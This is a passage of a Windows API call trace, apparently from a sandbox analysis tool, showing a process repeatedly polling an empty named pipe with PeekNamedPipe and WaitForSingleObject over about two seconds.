PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.514] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.546] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.546] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.577] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.577] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.608] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.608] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.639] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.639] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.671] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.671] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.704] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.704] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.733] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.733] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.764] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.764] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.795] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.795] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.826] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.826] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.857] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.858] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.889] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.889] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.920] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.920] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.951] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.951] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.982] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.982] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.014] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.014] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.045] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.045] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.076] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.076] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.108] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.108] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.138] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.138] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.169] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.170] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.201] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.201] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.233] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.233] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.263] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.263] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.294] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.294] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.325] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.326] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.357] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.357] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.388] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.388] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.432] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.432] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.450] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.450] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.482] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.482] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.513] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.513] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.544] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.544] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.575] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.575] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.609] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.609] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.637] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.638] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.669] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.669] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.700] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.700] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.731] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.731] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.762] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.762] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.794] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.794] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.825] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.826] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.856] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.856] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.887] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.887] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.918] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.918] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.949] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.950] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0096.981] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.981] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.012] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.012] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.044] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.044] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.074] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.074] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.123] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.123] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.153] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.153] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.184] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.185] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.215] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.215] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.247] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.247] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.278] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.278] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.313] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.313] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.339] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.340] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.372] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.372] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.403] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.403] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.439] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.439] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.464] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.464] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.496] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.497] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.528] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.528] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.559] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.559] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.792] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.792] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.823] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.823] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.855] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.855] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0097.885] PeekNamedPipe (in: hNamedPipe=0x128, 